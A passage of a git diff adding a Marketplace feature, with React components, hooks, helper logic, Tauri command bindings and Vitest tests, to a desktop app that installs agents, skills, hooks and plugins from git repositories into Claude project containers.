    + ); +} diff --git a/app/src/components/marketplace/InstalledPane.tsx b/app/src/components/marketplace/InstalledPane.tsx new file mode 100644 index 0000000..be7c5d1 --- /dev/null +++ b/app/src/components/marketplace/InstalledPane.tsx @@ -0,0 +1,9 @@ +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +export default function InstalledPane({ mp }: { mp: MarketplaceApi }) { + return ( +

    + {mp.updates.length} update{mp.updates.length === 1 ? "" : "s"} available. +

    + ); +} diff --git a/app/src/components/marketplace/MarketplaceView.test.tsx b/app/src/components/marketplace/MarketplaceView.test.tsx new file mode 100644 index 0000000..512d955 --- /dev/null +++ b/app/src/components/marketplace/MarketplaceView.test.tsx @@ -0,0 +1,45 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; + +const load = vi.fn(async () => {}); +vi.mock("../../hooks/useMarketplace", () => ({ + useMarketplace: () => ({ + snapshots: [], + updates: [], + loading: false, + refreshing: [], + load, + refresh: vi.fn(), + reloadState: vi.fn(), + install: vi.fn(), + uninstall: vi.fn(), + setDisabled: vi.fn(), + update: vi.fn(), + forget: vi.fn(), + remove: vi.fn(), + }), +})); +vi.mock("./BrowsePane", () => ({ default: () =>
    browse pane
    })); +vi.mock("./InstalledPane", () => ({ default: () =>
    installed pane
    })); +vi.mock("./AccountsPane", () => ({ default: () =>
    accounts pane
    })); + +import MarketplaceView from "./MarketplaceView"; + +describe("MarketplaceView", () => { + beforeEach(() => vi.clearAllMocks()); + + it("loads with stale refresh when first shown and switches sub-tabs", async () => { + render(); + await waitFor(() => expect(load).toHaveBeenCalledWith({ refreshStale: true })); + expect(screen.getByText("browse pane")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("tab", { name: "Installed" })); + expect(screen.getByText("installed pane")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("tab", { name: "Accounts" })); + expect(screen.getByText("accounts pane")).toBeInTheDocument(); + }); + + it("does not load while hidden", () => { + render(); + expect(load).not.toHaveBeenCalled(); + }); +}); diff --git a/app/src/components/marketplace/MarketplaceView.tsx b/app/src/components/marketplace/MarketplaceView.tsx new file mode 100644 index 0000000..b33a080 --- /dev/null +++ b/app/src/components/marketplace/MarketplaceView.tsx @@ -0,0 +1,67 @@ +import { useEffect, useRef, useState } from "react"; +import { useMarketplace } from "../../hooks/useMarketplace"; +import BrowsePane from "./BrowsePane"; +import InstalledPane from "./InstalledPane"; +import AccountsPane from "./AccountsPane"; + +const SUB_TABS = [ + { id: "browse", label: "Browse" }, + { id: "installed", label: "Installed" }, + { id: "accounts", label: "Accounts" }, +] as const; + +export type MarketplaceSubTab = (typeof SUB_TABS)[number]["id"]; + +interface Props { + active: boolean; +} + +export default function MarketplaceView({ active }: Props) { + const mp = useMarketplace(); + const [tab, setTab] = useState("browse"); + const { load } = mp; + const wasActive = useRef(false); + + // Load (and refresh stale marketplaces) each time the tab comes to the front. + useEffect(() => { + if (active && !wasActive.current) void load({ refreshStale: true }); + wasActive.current = active; + }, [active, load]); + + return ( +
    +
    + {SUB_TABS.map((t) => ( + + ))} +
    +
    + {tab === "browse" && } + {tab === "installed" && } + {tab === "accounts" && } +
    +
    + ); +} diff --git a/app/src/components/settings/MarketplaceSettings.test.tsx b/app/src/components/settings/MarketplaceSettings.test.tsx new file mode 100644 index 0000000..f187e4e --- /dev/null +++ b/app/src/components/settings/MarketplaceSettings.test.tsx @@ -0,0 +1,42 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; +import MarketplaceSettings from "./MarketplaceSettings"; +import { useAppState, MARKETPLACE_TAB_KEY } from "../../store/appState"; +import type { AppSettings } from "../../lib/types"; + +const listMarketplaceUpdates = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + listMarketplaceUpdates: () => listMarketplaceUpdates(), +})); + +describe("MarketplaceSettings", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ + tabOrder: [], + activeTabKey: null, + appSettings: { + marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }], + global_marketplace_installs: [ + { marketplace_id: "m1", kind: "agent", key: "a", commit: "a".repeat(40) }, + { marketplace_id: "m1", kind: "hook", key: "h", commit: "a".repeat(40) }, + ], + marketplace_accounts: [], + } as unknown as AppSettings, + }); + listMarketplaceUpdates.mockResolvedValue([ + { item: { marketplace_id: "m1", kind: "agent", key: "a" }, pinned: "a".repeat(40), head: "b".repeat(40) }, + ]); + }); + + it("summarises and opens the Marketplace tab", async () => { + render(); + expect(screen.getByTestId("marketplace-summary")).toHaveTextContent("1 marketplace"); + expect(screen.getByTestId("marketplace-summary")).toHaveTextContent("2 installed for all projects"); + await waitFor(() => + expect(screen.getByTestId("marketplace-summary")).toHaveTextContent("1 update available"), + ); + fireEvent.click(screen.getByRole("button", { name: "Open Marketplace" })); + expect(useAppState.getState().activeTabKey).toBe(MARKETPLACE_TAB_KEY); + }); +}); diff --git a/app/src/components/settings/MarketplaceSettings.tsx b/app/src/components/settings/MarketplaceSettings.tsx new file mode 100644 index 0000000..7f1dc25 --- /dev/null +++ b/app/src/components/settings/MarketplaceSettings.tsx @@ -0,0 +1,48 @@ +import { useEffect, useState } from "react"; +import { useAppState } from "../../store/appState"; +import { listMarketplaceUpdates } from "../../lib/tauri-commands"; +import Button from "../ui/Button"; + +const plural = (n: number, one: string, many: string) => `${n} ${n === 1 ? one : many}`; + +export default function MarketplaceSettings() { + const appSettings = useAppState((s) => s.appSettings); + const openMarketplace = useAppState((s) => s.openMarketplace); + const [updateCount, setUpdateCount] = useState(null); + + useEffect(() => { + let cancelled = false; + listMarketplaceUpdates() + .then((u) => { + if (!cancelled) setUpdateCount(u.length); + }) + .catch(() => { + if (!cancelled) setUpdateCount(null); + }); + return () => { + cancelled = true; + }; + }, [appSettings?.marketplaces.length]); + + const marketplaces = appSettings?.marketplaces.length ?? 0; + const globalInstalls = appSettings?.global_marketplace_installs.length ?? 0; + + return ( +
    +

    + {plural(marketplaces, "marketplace", "marketplaces")} ·{" "} + {globalInstalls} installed for all projects + {updateCount !== null && updateCount > 0 && ( + <> · {plural(updateCount, "update available", "updates available")} + )} +

    +

    + Agents, skills, commands, hooks and plugins from git repositories, installed for all + projects or per project. Changes apply to new Claude sessions. +

    + +
    + ); +} diff --git a/app/src/components/settings/SettingsPanel.tsx b/app/src/components/settings/SettingsPanel.tsx index 6eba2cb..21e0ab4 100644 --- a/app/src/components/settings/SettingsPanel.tsx +++ b/app/src/components/settings/SettingsPanel.tsx @@ -20,6 +20,7 @@ import { resolveTerminalGpuRendering } from "../../lib/terminalRenderer"; import WebTerminalSettings from "./WebTerminalSettings"; import SttSettings from "./SttSettings"; import SharedAuthSettings from "./SharedAuthSettings"; +import MarketplaceSettings from "./MarketplaceSettings"; import CertificateSettings from "./CertificateSettings"; import ExportSettingsModal from "./ExportSettingsModal"; import ImportSettingsModal from "./ImportSettingsModal"; @@ -171,6 +172,10 @@ export default function SettingsPanel() { + + + +
    diff --git a/app/src/hooks/useKeyboardShortcuts.test.tsx b/app/src/hooks/useKeyboardShortcuts.test.tsx index 98bfa9e..77c7190 100644 --- a/app/src/hooks/useKeyboardShortcuts.test.tsx +++ b/app/src/hooks/useKeyboardShortcuts.test.tsx @@ -1,7 +1,7 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; import { renderHook } from "@testing-library/react"; import { useKeyboardShortcuts } from "./useKeyboardShortcuts"; -import { useAppState, homeTabKey, terminalTabKey } from "../store/appState"; +import { useAppState, homeTabKey, terminalTabKey, MARKETPLACE_TAB_KEY } from "../store/appState"; vi.mock("./useTerminal", () => ({ useTerminal: () => ({ open: vi.fn(), close: vi.fn() }), @@ -86,3 +86,16 @@ describe("Ctrl+Shift+←/→", () => { expect(order()).toEqual([HOME, S1, S2]); }); }); + +describe("Ctrl+Shift+W on the Marketplace tab", () => { + it("closes the Marketplace tab", () => { + useAppState.setState({ + tabOrder: [HOME, MARKETPLACE_TAB_KEY], + activeTabKey: MARKETPLACE_TAB_KEY, + activeSessionId: null, + }); + renderHook(() => useKeyboardShortcuts()); + press("W", { shift: true }); + expect(useAppState.getState().tabOrder).toEqual([HOME]); + }); +}); diff --git a/app/src/hooks/useKeyboardShortcuts.ts b/app/src/hooks/useKeyboardShortcuts.ts index fbcc47a..285ffad 100644 --- a/app/src/hooks/useKeyboardShortcuts.ts +++ b/app/src/hooks/useKeyboardShortcuts.ts @@ -1,5 +1,5 @@ import { useEffect } from "react"; -import { useAppState, isTerminalTab, tabKeyId } from "../store/appState"; +import { useAppState, isMarketplaceTab, isTerminalTab, tabKeyId } from "../store/appState"; import { useTerminal } from "./useTerminal"; /** @@ -62,6 +62,8 @@ export function useKeyboardShortcuts() { closeTerminal(tabKeyId(key)).catch((err) => console.error("Failed to close terminal:", err), ); + } else if (isMarketplaceTab(key)) { + state.closeMarketplaceTab(); } else { state.closeHomeTab(tabKeyId(key)); } diff --git a/app/src/hooks/useMarketplace.test.ts b/app/src/hooks/useMarketplace.test.ts new file mode 100644 index 0000000..7aa27b3 --- /dev/null +++ b/app/src/hooks/useMarketplace.test.ts @@ -0,0 +1,120 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { act, renderHook, waitFor } from "@testing-library/react"; +import { useAppState } from "../store/appState"; +import type { AppSettings, MarketplaceSnapshot } from "../lib/types"; + +const listMarketplaceSnapshots = vi.fn(); +const refreshMarketplaces = vi.fn(); +const listMarketplaceUpdates = vi.fn(); +const getSettings = vi.fn(); +const listProjects = vi.fn(); +const installMarketplaceItem = vi.fn(); + +vi.mock("../lib/tauri-commands", () => ({ + listMarketplaceSnapshots: () => listMarketplaceSnapshots(), + refreshMarketplaces: (id?: string) => refreshMarketplaces(id), + listMarketplaceUpdates: () => listMarketplaceUpdates(), + getSettings: () => getSettings(), + listProjects: () => listProjects(), + installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a), +})); + +let syncHandler: ((e: { payload: unknown }) => void) | null = null; +vi.mock("@tauri-apps/api/event", () => ({ + listen: vi.fn(async (_name: string, cb: (e: { payload: unknown }) => void) => { + syncHandler = cb; + return vi.fn(); + }), +})); + +import { useMarketplace, useMarketplaceSyncToasts } from "./useMarketplace"; + +const snap = (id: string, fetched_at: string | null): MarketplaceSnapshot => ({ + marketplace_id: id, + head_commit: null, + fetched_at, + fetch_error: null, + items: [], +}); + +describe("useMarketplace", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ toasts: [], appSettings: { marketplaces: [] } as unknown as AppSettings }); + listMarketplaceUpdates.mockResolvedValue([]); + getSettings.mockResolvedValue({ marketplaces: [] }); + listProjects.mockResolvedValue([]); + }); + + it("loads snapshots and refreshes only stale ones", async () => { + const fresh = snap("m1", new Date().toISOString()); + const stale = snap("m2", null); + listMarketplaceSnapshots.mockResolvedValue([fresh, stale]); + refreshMarketplaces.mockResolvedValue([{ ...stale, fetched_at: new Date().toISOString() }]); + + const { result } = renderHook(() => useMarketplace()); + await act(() => result.current.load({ refreshStale: true })); + + expect(refreshMarketplaces).toHaveBeenCalledTimes(1); + expect(refreshMarketplaces).toHaveBeenCalledWith("m2"); + expect(result.current.snapshots.map((s) => s.marketplace_id)).toEqual(["m1", "m2"]); + expect(result.current.snapshots[1].fetched_at).not.toBeNull(); + }); + + it("toasts and reloads after a failed mutation", async () => { + listMarketplaceSnapshots.mockResolvedValue([]); + installMarketplaceItem.mockRejectedValue("boom"); + const { result } = renderHook(() => useMarketplace()); + const ok = await act(() => + result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }), + ); + expect(ok).toBe(false); + expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" }); + }); +}); + +describe("useMarketplaceSyncToasts", () => { + beforeEach(() => { + syncHandler = null; + useAppState.setState({ + toasts: [], + projects: [{ id: "p1", name: "api" }] as never, + }); + }); + + it("toasts a sync with errors and stays quiet on a clean one", async () => { + renderHook(() => useMarketplaceSyncToasts()); + await waitFor(() => expect(syncHandler).not.toBeNull()); + + act(() => + syncHandler!({ + payload: { + project_id: "p1", + report: { installed: ["agent:a"], updated: [], removed: [], skipped: [], errors: [], finished_at: "" }, + }, + }), + ); + expect(useAppState.getState().toasts).toHaveLength(0); + + act(() => + syncHandler!({ + payload: { + project_id: "p1", + report: { + installed: [], + updated: [], + removed: [], + skipped: [{ item: "agent:a", reason: "a file you created has the same name" }], + errors: ["claude plugin install failed"], + finished_at: "", + }, + }, + }), + ); + const toast = useAppState.getState().toasts[0]; + expect(toast.kind).toBe("error"); + expect(toast.message).toContain("api"); + expect(toast.detail).toContain("claude plugin install failed"); + expect(toast.detail).toContain("agent:a"); + }); +}); diff --git a/app/src/hooks/useMarketplace.ts b/app/src/hooks/useMarketplace.ts new file mode 100644 index 0000000..e1f57ae --- /dev/null +++ b/app/src/hooks/useMarketplace.ts @@ -0,0 +1,208 @@ +import { useCallback, useEffect, useState } from "react"; +import { listen, type UnlistenFn } from "@tauri-apps/api/event"; +import * as commands from "../lib/tauri-commands"; +import { useAppState } from "../store/appState"; +import { isStale } from "../lib/marketplace"; +import type { + InstallScope, + ItemUpdate, + MarketplaceItemRef, + MarketplaceSnapshot, + SyncReport, +} from "../lib/types"; + +export interface MarketplaceApi { + snapshots: MarketplaceSnapshot[]; + updates: ItemUpdate[]; + loading: boolean; + /** Ids of marketplaces currently being fetched. */ + refreshing: string[]; + load: (opts?: { refreshStale?: boolean }) => Promise; + refresh: (marketplaceId?: string) => Promise; + /** Reload settings, projects and the update list after a mutation. */ + reloadState: () => Promise; + install: (item: MarketplaceItemRef, scope: InstallScope) => Promise; + uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise; + setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise; + update: (item: MarketplaceItemRef, scope: InstallScope) => Promise; + forget: (marketplaceId: string) => Promise; + remove: (marketplaceId: string) => Promise; +} + +function errorText(e: unknown): string { + return typeof e === "string" ? e : e instanceof Error ? e.message : String(e); +} + +export function useMarketplace(): MarketplaceApi { + const setAppSettings = useAppState((s) => s.setAppSettings); + const setProjects = useAppState((s) => s.setProjects); + const pushToast = useAppState((s) => s.pushToast); + const [snapshots, setSnapshots] = useState([]); + const [updates, setUpdates] = useState([]); + const [loading, setLoading] = useState(false); + const [refreshing, setRefreshing] = useState([]); + + const merge = useCallback((fresh: MarketplaceSnapshot[]) => { + setSnapshots((prev) => { + const byId = new Map(prev.map((s) => [s.marketplace_id, s])); + for (const s of fresh) byId.set(s.marketplace_id, s); + return [...byId.values()]; + }); + }, []); + + const loadUpdates = useCallback(async () => { + try { + setUpdates(await commands.listMarketplaceUpdates()); + } catch (e) { + console.error("Failed to list marketplace updates:", e); + } + }, []); + + const refresh = useCallback( + async (marketplaceId?: string) => { + const ids = marketplaceId ? [marketplaceId] : snapshots.map((s) => s.marketplace_id); + setRefreshing((r) => [...new Set([...r, ...ids])]); + try { + merge(await commands.refreshMarketplaces(marketplaceId)); + await loadUpdates(); + } catch (e) { + pushToast({ kind: "error", message: "Could not refresh the marketplace", detail: errorText(e) }); + } finally { + setRefreshing((r) => r.filter((id) => !ids.includes(id))); + } + }, + [snapshots, merge, loadUpdates, pushToast], + ); + + const load = useCallback( + async (opts: { refreshStale?: boolean } = {}) => { + setLoading(true); + try { + const list = await commands.listMarketplaceSnapshots(); + setSnapshots(list); + await loadUpdates(); + if (opts.refreshStale) { + const now = Date.now(); + const stale = list.filter((s) => isStale(s, now)).map((s) => s.marketplace_id); + if (stale.length > 0) { + setRefreshing(stale); + try { + // One call per marketplace so one slow or failing repo does not hold up the rest. + await Promise.all( + stale.map(async (id) => { + try { + merge(await commands.refreshMarketplaces(id)); + } finally { + setRefreshing((r) => r.filter((x) => x !== id)); + } + }), + ); + } finally { + await loadUpdates(); + } + } + } + } catch (e) { + pushToast({ kind: "error", message: "Could not load marketplaces", detail: errorText(e) }); + } finally { + setLoading(false); + } + }, + [merge, loadUpdates, pushToast], + ); + + const reloadState = useCallback(async () => { + const [settings, projects] = await Promise.all([commands.getSettings(), commands.listProjects()]); + setAppSettings(settings); + setProjects(projects); + await loadUpdates(); + }, [setAppSettings, setProjects, loadUpdates]); + + /** Run a mutation; on failure toast it. Always resync local state afterwards. */ + const mutate = useCallback( + async (label: string, run: () => Promise): Promise => { + let ok = true; + try { + await run(); + } catch (e) { + ok = false; + pushToast({ kind: "error", message: label, detail: errorText(e) }); + } + try { + await reloadState(); + } catch (e) { + console.error("Failed to reload after marketplace change:", e); + } + return ok; + }, + [reloadState, pushToast], + ); + + return { + snapshots, + updates, + loading, + refreshing, + load, + refresh, + reloadState, + install: (item, scope) => + mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope)), + uninstall: (item, scope) => + mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)), + setDisabled: (projectId, item, disabled) => + mutate(`Could not change ${item.key} for this project`, () => + commands.setGlobalItemDisabled(projectId, item, disabled), + ), + update: (item, scope) => + mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope)), + forget: (marketplaceId) => + mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)), + remove: async (marketplaceId) => { + const ok = await mutate("Could not remove the marketplace", () => + commands.removeMarketplace(marketplaceId), + ); + if (ok) setSnapshots((prev) => prev.filter((s) => s.marketplace_id !== marketplaceId)); + return ok; + }, + }; +} + +interface SyncFinishedEvent { + project_id: string; + report: SyncReport; +} + +/** + * App-wide: toast when a marketplace sync (container start or "Apply now") + * reports errors or skipped items. A clean sync is silent. + */ +export function useMarketplaceSyncToasts() { + useEffect(() => { + let cancelled = false; + let unlisten: UnlistenFn | null = null; + void listen("marketplace-sync-finished", (event) => { + const { project_id, report } = event.payload; + if (report.errors.length === 0 && report.skipped.length === 0) return; + const state = useAppState.getState(); + const name = state.projects.find((p) => p.id === project_id)?.name ?? project_id; + const lines = [ + ...report.errors, + ...report.skipped.map((s) => `${s.item}: ${s.reason}`), + ]; + state.pushToast({ + kind: report.errors.length > 0 ? "error" : "info", + message: `Marketplace sync for “${name}” ${report.errors.length > 0 ? "had errors" : "skipped items"}`, + detail: lines.join("\n"), + dedupeKey: `marketplace-sync-${project_id}`, + }); + }).then((fn) => { + if (cancelled) fn(); + else unlisten = fn; + }); + return () => { + cancelled = true; + unlisten?.(); + }; + }, []); +} diff --git a/app/src/lib/marketplace.test.ts b/app/src/lib/marketplace.test.ts new file mode 100644 index 0000000..f9986e9 --- /dev/null +++ b/app/src/lib/marketplace.test.ts @@ -0,0 +1,113 @@ +import { describe, it, expect } from "vitest"; +import { + effectiveInstalls, + formatItemRef, + isStale, + itemRefKey, + projectItemState, + STALE_AFTER_MS, +} from "./marketplace"; +import type { MarketplaceInstall, MarketplaceSnapshot, Project } from "./types"; + +const A = "a".repeat(40); +const B = "b".repeat(40); + +const inst = (key: string, commit = A, kind: MarketplaceInstall["kind"] = "agent"): MarketplaceInstall => ({ + marketplace_id: "m1", + kind, + key, + commit, +}); + +const project = (patch: Partial = {}): Project => + ({ + id: "p1", + name: "api", + marketplace_installs: [], + marketplace_disabled: [], + ...patch, + }) as unknown as Project; + +describe("itemRefKey / formatItemRef", () => { + it("keys and formats a ref", () => { + const r = { marketplace_id: "m1", kind: "hook" as const, key: "notify" }; + expect(itemRefKey(r)).toBe("m1/hook/notify"); + expect(formatItemRef(r)).toBe("hook:notify"); + }); +}); + +describe("projectItemState", () => { + const ref = { marketplace_id: "m1", kind: "agent" as const, key: "rev" }; + + it("is none when nothing installs it", () => { + expect(projectItemState(ref, [], project())).toBe("none"); + }); + + it("is inherited from a global install", () => { + expect(projectItemState(ref, [inst("rev")], project())).toBe("inherited"); + }); + + it("is opted_out when the project disabled the global install", () => { + const p = project({ marketplace_disabled: [ref] }); + expect(projectItemState(ref, [inst("rev")], p)).toBe("opted_out"); + }); + + it("is project for a project-only install", () => { + const p = project({ marketplace_installs: [inst("rev")] }); + expect(projectItemState(ref, [], p)).toBe("project"); + }); + + it("is project when project and global share the pin", () => { + const p = project({ marketplace_installs: [inst("rev", A)] }); + expect(projectItemState(ref, [inst("rev", A)], p)).toBe("project"); + }); + + it("flags a project pin that differs from the global pin", () => { + const p = project({ marketplace_installs: [inst("rev", B)] }); + expect(projectItemState(ref, [inst("rev", A)], p)).toBe("project_pinned_differently"); + }); + + it("does not confuse kinds with the same key", () => { + expect(projectItemState(ref, [inst("rev", A, "skill")], project())).toBe("none"); + }); +}); + +describe("effectiveInstalls", () => { + it("merges global minus disabled plus project, project winning", () => { + const disabledRef = { marketplace_id: "m1", kind: "agent" as const, key: "off" }; + const p = project({ + marketplace_disabled: [disabledRef], + marketplace_installs: [inst("both", B), inst("mine")], + }); + const out = effectiveInstalls([inst("glob"), inst("off"), inst("both", A)], p); + expect(out.map((i) => [i.key, i.commit, i.source])).toEqual([ + ["both", B, "project"], + ["glob", A, "global"], + ["mine", A, "project"], + ]); + }); +}); + +describe("isStale", () => { + const snap = (fetched_at: string | null): MarketplaceSnapshot => ({ + marketplace_id: "m1", + head_commit: null, + fetched_at, + fetch_error: null, + items: [], + }); + const now = Date.parse("2026-09-27T12:00:00Z"); + + it("treats a never-fetched snapshot as stale", () => { + expect(isStale(snap(null), now)).toBe(true); + }); + + it("is fresh within 15 minutes and stale after", () => { + expect(isStale(snap(new Date(now - STALE_AFTER_MS + 1000).toISOString()), now)).toBe(false); + expect(isStale(snap(new Date(now - STALE_AFTER_MS - 1000).toISOString()), now)).toBe(true); + }); + + it("treats an unparsable timestamp as stale", () => { + expect(isStale(snap("not a date"), now)).toBe(true); + }); +}); diff --git a/app/src/lib/marketplace.ts b/app/src/lib/marketplace.ts new file mode 100644 index 0000000..587232e --- /dev/null +++ b/app/src/lib/marketplace.ts @@ -0,0 +1,75 @@ +import type { + ItemKind, + MarketplaceInstall, + MarketplaceItemRef, + MarketplaceSnapshot, + Project, +} from "./types"; + +/** How a project relates to one marketplace item. */ +export type ProjectItemState = + | "none" + | "inherited" + | "opted_out" + | "project" + | "project_pinned_differently"; + +export const KIND_ORDER: ItemKind[] = ["agent", "skill", "command", "hook", "plugin"]; + +export const KIND_LABELS: Record = { + agent: "Agents", + skill: "Skills", + command: "Commands", + hook: "Hooks", + plugin: "Plugins", +}; + +/** A marketplace is refreshed when its tab opens if the last fetch is older than this. */ +export const STALE_AFTER_MS = 15 * 60 * 1000; + +export const itemRefKey = (r: MarketplaceItemRef) => `${r.marketplace_id}/${r.kind}/${r.key}`; + +/** Same shape as the item strings in a `SyncReport`. */ +export const formatItemRef = (r: MarketplaceItemRef) => `${r.kind}:${r.key}`; + +const sameItem = (a: MarketplaceItemRef, b: MarketplaceItemRef) => + a.marketplace_id === b.marketplace_id && a.kind === b.kind && a.key === b.key; + +export function projectItemState( + item: MarketplaceItemRef, + globalInstalls: MarketplaceInstall[], + project: Project, +): ProjectItemState { + const own = project.marketplace_installs.find((i) => sameItem(i, item)); + const global = globalInstalls.find((i) => sameItem(i, item)); + if (own) { + return global && global.commit !== own.commit ? "project_pinned_differently" : "project"; + } + if (!global) return "none"; + return project.marketplace_disabled.some((d) => sameItem(d, item)) ? "opted_out" : "inherited"; +} + +/** Mirror of the backend's `effective_installs`, tagged with where each install comes from. */ +export function effectiveInstalls( + globalInstalls: MarketplaceInstall[], + project: Project, +): (MarketplaceInstall & { source: "global" | "project" })[] { + const byKey = new Map(); + for (const g of globalInstalls) { + if (project.marketplace_disabled.some((d) => sameItem(d, g))) continue; + byKey.set(itemRefKey(g), { ...g, source: "global" }); + } + for (const p of project.marketplace_installs) { + byKey.set(itemRefKey(p), { ...p, source: "project" }); + } + return [...byKey.entries()] + .sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0)) + .map(([, v]) => v); +} + +export function isStale(snapshot: MarketplaceSnapshot, now: number): boolean { + if (!snapshot.fetched_at) return true; + const at = Date.parse(snapshot.fetched_at); + if (Number.isNaN(at)) return true; + return now - at > STALE_AFTER_MS; +} diff --git a/app/src/lib/tauri-commands.ts b/app/src/lib/tauri-commands.ts index d286b7e..c911dcb 100644 --- a/app/src/lib/tauri-commands.ts +++ b/app/src/lib/tauri-commands.ts @@ -1,5 +1,5 @@ import { invoke } from "@tauri-apps/api/core"; -import type { Project, ProjectPath, ProjectRemovalReport, ProjectResetOutcome, ContainerInfo, AppSettings, SettingsImportPreview, SettingsImportOutcome, UpdateInfo, ImageUpdateInfo, FileEntry, FileContents, WebTerminalInfo, SttStatus, GatewayStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus, BrowserViewStatus, BrowserViewPopoutState, BrowserPageState, PlaywrightDetection, BrowserSetupOutcome, BrowserInstallTarget, ContainerStaleness, MigrationOptions, MigrationReport, MigrationState, ClearTokenOutcome, CaCertInfo, UploadOutcome, Note, ViewerFile, ViewerPoll, ViewerSaved, ViewerState } from "./types"; +import type { Project, ProjectPath, ProjectRemovalReport, ProjectResetOutcome, ContainerInfo, AppSettings, SettingsImportPreview, SettingsImportOutcome, UpdateInfo, ImageUpdateInfo, FileEntry, FileContents, WebTerminalInfo, SttStatus, GatewayStatus, InstallOptions, ClaudeSession, ContainerCapabilities, ScheduledTask, ScheduledTaskInput, SchedulerNotification, AuthBridgeStatus, BrowserViewStatus, BrowserViewPopoutState, BrowserPageState, PlaywrightDetection, BrowserSetupOutcome, BrowserInstallTarget, ContainerStaleness, MigrationOptions, MigrationReport, MigrationState, ClearTokenOutcome, CaCertInfo, UploadOutcome, Note, ViewerFile, ViewerPoll, ViewerSaved, ViewerState, FileDiff, InstallScope, ItemUpdate, Marketplace, MarketplaceAccount, MarketplaceItemRef, MarketplaceSnapshot, ProjectSyncResult, SyncReport } from "./types"; // Docker export const checkDocker = () => invoke("check_docker"); @@ -432,3 +432,55 @@ export const viewerWriteFile = (contentsBase64: string, baseHash: string) => invoke("viewer_write_file", { contentsBase64, baseHash }); export const viewerChooseFile = (index: number) => invoke("viewer_choose_file", { index }); + +// ---- Marketplace ---- + +export const listMarketplaceSnapshots = () => + invoke("list_marketplace_snapshots"); +export const refreshMarketplaces = (marketplaceId?: string) => + invoke("refresh_marketplaces", { marketplaceId: marketplaceId ?? null }); +export const addMarketplace = ( + name: string, + url: string, + branch: string | null, + accountId: string | null, +) => invoke("add_marketplace", { name, url, branch, accountId }); +export const updateMarketplace = (marketplace: Marketplace) => + invoke("update_marketplace", { marketplace }); +export const removeMarketplace = (marketplaceId: string) => + invoke("remove_marketplace", { marketplaceId }); +export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) => + invoke("install_marketplace_item", { item, scope }); +export const uninstallMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) => + invoke("uninstall_marketplace_item", { item, scope }); +export const setGlobalItemDisabled = ( + projectId: string, + item: MarketplaceItemRef, + disabled: boolean, +) => invoke("set_global_item_disabled", { projectId, item, disabled }); +export const forgetMarketplaceInstalls = (marketplaceId: string) => + invoke("forget_marketplace_installs", { marketplaceId }); +export const listMarketplaceUpdates = () => invoke("list_marketplace_updates"); +export const marketplaceItemDiff = ( + item: MarketplaceItemRef, + fromCommit: string, + toCommit: string, +) => invoke("marketplace_item_diff", { item, fromCommit, toCommit }); +export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) => + invoke("update_marketplace_item", { item, scope }); +export const applyMarketplaceNow = (projectId?: string) => + invoke("apply_marketplace_now", { projectId: projectId ?? null }); +export const getMarketplaceSyncReport = (projectId: string) => + invoke("get_marketplace_sync_report", { projectId }); +export const addMarketplaceTokenAccount = (label: string, host: string, token: string) => + invoke("add_marketplace_token_account", { label, host, token }); +export const addMarketplaceGhHostAccount = (label: string, host: string) => + invoke("add_marketplace_gh_host_account", { label, host }); +export const startMarketplaceGhContainerLogin = (label: string, host: string, projectId: string) => + invoke("start_marketplace_gh_container_login", { label, host, projectId }); +export const cancelMarketplaceGhLogin = () => invoke("cancel_marketplace_gh_login"); +export const testMarketplaceAccount = (accountId: string) => + invoke("test_marketplace_account", { accountId }); +export const removeMarketplaceAccount = (accountId: string) => + invoke("remove_marketplace_account", { accountId }); +export const marketplaceGhHostAvailable = () => invoke("marketplace_gh_host_available"); diff --git a/app/src/store/appState.test.ts b/app/src/store/appState.test.ts index 606680b..95f389f 100644 --- a/app/src/store/appState.test.ts +++ b/app/src/store/appState.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, beforeEach } from "vitest"; -import { useAppState, homeTabKey, terminalTabKey } from "./appState"; +import { useAppState, homeTabKey, terminalTabKey, MARKETPLACE_TAB_KEY } from "./appState"; const A = homeTabKey("a"); const B = terminalTabKey("b"); @@ -136,3 +136,45 @@ describe("terminal focus requests", () => { expect(pending()).toBe("s1"); }); }); + +describe("marketplace tab", () => { + beforeEach(() => { + seed([A, B], A); + useAppState.setState({ marketplaceFilterProjectId: null }); + }); + + it("opens once, activates, and records the project filter", () => { + useAppState.getState().openMarketplace("p9"); + useAppState.getState().openMarketplace("p9"); + const s = useAppState.getState(); + expect(s.tabOrder).toEqual([A, B, MARKETPLACE_TAB_KEY]); + expect(s.activeTabKey).toBe(MARKETPLACE_TAB_KEY); + expect(s.activeSessionId).toBeNull(); + expect(s.marketplaceFilterProjectId).toBe("p9"); + }); + + it("clears the filter when opened without a project", () => { + useAppState.getState().openMarketplace("p9"); + useAppState.getState().openMarketplace(); + expect(useAppState.getState().marketplaceFilterProjectId).toBeNull(); + }); + + it("does not select a project when activated", () => { + useAppState.getState().openMarketplace(); + 